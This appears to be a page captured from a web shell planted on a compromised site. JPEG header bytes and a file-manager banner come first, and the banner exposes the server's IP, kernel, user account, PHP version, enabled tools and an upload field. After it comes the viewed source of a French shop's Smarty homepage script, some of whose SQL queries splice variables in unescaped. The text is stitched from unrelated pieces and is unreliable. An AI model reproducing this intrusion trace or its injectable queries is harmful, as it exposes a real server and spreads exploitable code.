ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/ODLDDD_2/OLD/ |
Upload File : |
<?php
//****************************************************************************************//
//************************************* Configuration ************************************//
//****************************************************************************************//
// Chargement fichiers de configuration.
require_once('libs/Smarty.class.php');
// Démarrage du moteur TPL.
$smarty = new Smarty;
// Chargement des Fonctions Globals.
require_once('fonctions.php');
//****************************************************************************************//
//*********************************** BEST SELLER **********************************//
//****************************************************************************************//
if ($best >0) {
$sql = $GLOBALS['bdd']->query('SELECT pa.id_attribute, p.id, p.meta_keywords, p.seo, p.name, p.price, p.discount, pp.picture, p.hstock, p.h_achat_direct, p.stock, m.name AS lamarqueb FROM products p
INNER JOIN products_pictures pp
ON pp.id_product = p.id
LEFT JOIN products_marques pm
ON pm.id_product = p.id
LEFT JOIN marques m
ON m.id= pm.id_marque
LEFT JOIN products_attributes pa
ON pa.id_product = p.id
WHERE p.status = 1 AND pp.position = 1 AND (SELECT COUNT(*) FROM orders_products WHERE id_product = p.id) > 0
ORDER BY (SELECT COUNT(*) FROM orders_products WHERE id_product = p.id) DESC LIMIT 48');
$result = $sql->fetchAll();
$nbr_best = count($result);
$smarty->assign("nbr_best", $nbr_best);
$smarty->assign("productsbest", $result);
}
//****************************************************************************************//
//*********************************** Slideshow accueil **********************************//
//****************************************************************************************//
$sql = $GLOBALS['bdd']->query('SELECT status FROM slideshows WHERE id = 1');
$slide_two = $sql->fetch();
$stat_slide_two = $slide_two['status'];
if ($stat_slide_two >0) {
$sql = $GLOBALS['bdd']->query('SELECT name, picture, url, target FROM slideshow_pictures
WHERE status = 1 AND slideshow = 1
ORDER BY position');
$result = $sql->fetchAll();
$smarty->assign("pictures", $result);
}
if ($full_slide >0) {
//****************************************************************************************//
//*********************************** Slideshow FULL **********************************//
//****************************************************************************************//
$sql = $GLOBALS['bdd']->query('SELECT * FROM full_slideshow_pictures
WHERE status = 1 AND slideshow = 1
ORDER BY position');
$result = $sql->fetchAll();
$smarty->assign("full_pictures", $result);
$smarty->assign("picture_type", "1");
$smarty->assign("animation", "1");
$sql = $GLOBALS['bdd']->query('SELECT status FROM full_slideshows WHERE id = 1');
$slide_one = $sql->fetch();
$stat_slide_one= $slide_one['status'];
if ($stat_slide_one >0) { $smarty->assign("full_slide_one", "1"); } else { $smarty->assign("full_slide_one", "0");}
}
//****************************************************************************************//
//*********************************** Produits à la une **********************************//
//****************************************************************************************//
// Facebook partage
$img_facebook= "";
if ($emailo < 1) { $Image_facebook_defaut = "logo_fb.png";
} else { $Image_facebook_defaut = "logo_fb.png"; }
if ($img_facebook==''){ $img_facebook=$Image_facebook_defaut; $dossier_faceb = "templates/shop/img/"; } else { $dossier_faceb = "uploadfiles/blog/"; $img_facebook=$img_facebook; }
$url_img_faceb = $dossier_faceb . $img_facebook;
$smarty->assign("img_facebook", $url_img_faceb);
$sql = $GLOBALS['bdd']->query('SELECT pa.id_attribute, p.id, p.seo, p.meta_keywords, p.name, p.price, p.discount, pp.picture, p.hstock, p.stock, p.h_achat_direct, m.name AS lamarque FROM products p
INNER JOIN products_pictures pp
ON pp.id_product = p.id
LEFT JOIN products_marques pm
ON pm.id_product = p.id
LEFT JOIN marques m
ON m.id= pm.id_marque
LEFT JOIN products_attributes pa
ON pa.id_product = p.id
WHERE p.status = 1 AND p.featured = 1 AND pp.position = 1
GROUP BY p.id ORDER BY RAND() LIMIT '.$nouveo.'');
$result = $sql->fetchAll();
$total_une = count($result);
$smarty->assign("total_une", $total_une);
$smarty->assign("featuredProducts", $result);
//****************************************************************************************//
//*********************************** Nouveaux produits **********************************//
//****************************************************************************************//
$sql = $GLOBALS['bdd']->prepare('SELECT pa.id_attribute, p.id, p.seo, p.meta_keywords, p.name, p.price, p.discount, pp.picture, p.hstock, p.stock, p.h_achat_direct, m.name AS lamarque FROM products p
INNER JOIN products_pictures pp
ON pp.id_product = p.id
LEFT JOIN products_marques pm
ON pm.id_product = p.id
LEFT JOIN marques m
ON m.id= pm.id_marque
LEFT JOIN products_attributes pa
ON pa.id_product = p.id
WHERE p.status = 1 AND p.status2 = 0 AND p.date_insere >= :dateMin AND pp.position = 1
GROUP BY p.id ORDER BY p.date_insere DESC LIMIT 0, '.$nouveo.'');
$sql->execute(array('dateMin' => strtotime('-' . $conf['new_duration'] . ' days')));
$result = $sql->fetchAll();
$total_news = count($result);
$smarty->assign("total_news", $total_news);
$smarty->assign("newProducts", $result);
//****************************************************************************************//
//*********************************** Derniers articles **********************************//
//****************************************************************************************//
$sql = $GLOBALS['bdd']->query('SELECT seo, title, picture, date_insere FROM blog
WHERE status = 1
ORDER BY date_insere DESC
LIMIT 3');
$result = $sql->fetchAll();
$smarty->assign("articles", $result);
//****************************************************************************************//
//*************************************** CMS ACCUEIL ************************************//
//****************************************************************************************//
$id_page = $page_accueil;
if ($id_page >0) {
// Page CMS
$sqlpm = $GLOBALS['bdd']->query('SELECT title, content FROM cms
WHERE id = '.$id_page.'');
$com = $sqlpm->fetch();
$page_content= $com['content'];
} else {
$page_content="";
}
$smarty->assign("page_content", $page_content);
$smarty->assign("id_page", $id_page);
//*************************************** Affichage **************************************//
$smarty->display('index.tpl');
?>